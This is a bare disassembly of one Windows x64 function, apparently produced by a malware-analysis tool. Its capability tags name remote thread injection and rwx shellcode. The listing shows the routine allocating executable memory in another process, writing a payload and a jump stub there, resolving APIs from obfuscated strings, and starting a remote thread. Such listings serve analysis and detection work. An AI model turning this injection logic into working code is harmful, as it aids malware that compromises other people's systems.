Function at 0x140012220
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Link many functions at runtime
Resume thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x580]
sub rsp, 0x680
xor edi, edi
mov r15, r8
mov r12, rdx
mov rsi, rcx
mov r13d, edi
mov r14d, edi
cmp dword [rcx + 0xa8], edi
je 0x140012262
xor eax, eax
jmp 0x140012791
lea rcx, [rbp - 0x30]
xor edx, edx
mov r8d, 0xd8
mov qword [rsp + 0x6b8], rbx
call sub.msvcrt.dll_memset
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsi + 0xc8], rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, 1
xor r9d, r9d
mov r8d, edx
xor ecx, ecx
mov qword [rsi + 0xd0], rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsi + 0x90], r12
mov qword [rsi + 0x98], r15
mov qword [rsi + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsi + 0xc8]
mov dword [rsp + 0x30], 2
lea r9, [rbp - 0x30]
mov rcx, rax
mov r8, r12
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea rbx, [0x1400144b0]
test eax, eax
je 0x14001266d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsi + 0xd0]
mov dword [rsp + 0x30], 2
lea r9, [rbp - 0x28]
mov rcx, rax
mov r8, r12
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x14001266d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsi + 0xd8]
mov dword [rsp + 0x30], 2
lea r9, [rbp - 0x20]
mov rcx, rax
mov r8, r12
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x14001266d
lea rcx, [0x140014240]
xor edx, edx
mov r9d, 0x3000
sub ebx, ecx
mov rcx, r12
mov dword [rsp + 0x20], 0x40
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x140012666
lea rax, [rbp + 0x5b0]
lea r8, [0x140014240]
mov r9d, ebx
mov rdx, r13
mov rcx, r12
mov qword [rbp + 0x5b0], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140012666
cmp qword [rbp + 0x5b0], rbx
jne 0x140012666
mov rcx, qword [str.5hAUiJAXrMZH_TtX]
lea rdx, [rbp + 0x180]
mov dword [rbp + 0x28], edi
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x78], rdi
call fcn.14000deb0
movzx eax, byte [rbp + 0x180]
lea r11, [rbp + 0x180]
lea rcx, [rbp + 0xb0]
test al, al
je 0x140012436
nop dword [rax]
movsx eax, al
inc r11
add rcx, 2
mov word [rcx - 2], ax
movzx eax, byte [r11]
test al, al
jne 0x140012420
mov word [rcx], di
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [str.xhp1iJcXGhQ3_E8nEFOAhcC9P]
lea rdx, [rsp + 0x60]
mov rbx, rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.AhcC9a_0Np8CiJ9X_xjz5JAB9P]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x18], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.ht0NhAZmEFOiTx]
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x10], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.xJAM_LSc9JAH9P]
lea rdx, [rsp + 0x60]
mov qword [rbp - 8], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.SLyC9coUih8pNYr]
lea rdx, [rsp + 0x60]
mov qword [rbp], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.7EFC9TpyiTpD_x8U5LSCmhcXxhAB9Tp0if]
lea rdx, [rsp + 0x60]
mov qword [rbp + 8], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.SEFn_LQ6NJpn5E8yic8pmYSCihb]
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x20], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [str.GTAy9JA6NJpn5E8yic8pmYSCihb]
lea rdx, [rsp + 0x60]
mov qword [rbp + 0x10], rax
call fcn.14000deb0
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x18], rax
cmp qword [rbp - 0x18], rdi
je 0x140012666
cmp qword [rbp - 0x10], rdi
je 0x140012666
cmp qword [rbp - 8], rdi
je 0x140012666
cmp qword [rbp], rdi
je 0x140012666
xor edx, edx
mov r9d, 0x3000
mov r8d, 0xd8
mov rcx, r12
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140012666
lea rax, [rbp + 0x5b0]
lea r8, [rbp - 0x30]
mov r9d, 0xd8
mov rdx, r14
mov rcx, r12
mov qword [rbp + 0x5b0], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140012666
cmp qword [rbp + 0x5b0], 0xd8
jne 0x140012666
mov rcx, r12
call fcn.140012860
test rax, rax
je 0x140012666
cmp dword [rsi + 0xa4], edi
je 0x1400127ae
lea rcx, [rbp + 0x5b0]
lea r8, [rsp + 0x40]
mov r9d, 0x16
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, r12
mov word [rsp + 0x40], 0xb948
mov word [rsp + 0x4a], 0xb848
mov word [rsp + 0x54], 0xe0ff
mov qword [rsp + 0x42], r14
mov qword [rsp + 0x4c], r13
mov qword [rbp + 0x5b0], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140012666
cmp qword [rbp + 0x5b0], 0x16
je 0x1400127dd
lea rbx, [0x1400144b0]
mov rcx, qword [rsi + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsi + 0xd0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsi + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp - 0x30], rdi
je 0x1400126c3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp - 0x30]
mov dword [rsp + 0x30], 3
mov r8, rax
xor r9d, r9d
mov rcx, r12
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp qword [rbp - 0x28], rdi
je 0x1400126f2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp - 0x28]
mov dword [rsp + 0x30], 3
mov r8, rax
xor r9d, r9d
mov rcx, r12
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp qword [rsi + 0xd8], rdi
je 0x140012724
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbp - 0x20]
mov dword [rsp + 0x30], 3
mov r8, rax
xor r9d, r9d
mov rcx, r12
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test r13, r13
je 0x140012747
lea rax, [0x140014240]
mov r9d, 0x8000
mov rdx, r13
sub ebx, eax
mov rcx, r12
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r14, r14
je 0x140012764
mov r9d, 0x8000
mov r8d, 0xd8
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov qword [rsi + 0xe0], rdi
mov qword [rsi + 0xe8], rdi
mov qword [rsi + 0xc8], rdi
mov qword [rsi + 0xd0], rdi
mov qword [rsi + 0xd8], rdi
mov rbx, qword [rsp + 0x6b8]
mov eax, edi
lea r11, [rsp + 0x680]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x30], rdi
mov r9, r13
xor r8d, r8d
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
test rax, rax
je 0x140012666
mov rcx, qword [rsi + 0xd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsi + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x140012666
mov rcx, rsi
call fcn.1400133b0
test eax, eax
je 0x140012666
lea rax, [0x140014410]
lea rcx, [0x140014240]
mov qword [rsi + 0xe0], r14
sub rax, rcx
mov qword [rsi + 0xe8], r13
mov dword [rsi + 0xa8], 1
add rax, r13
mov edi, 1
mov qword [rsi + 0xf0], rax
jmp 0x140012787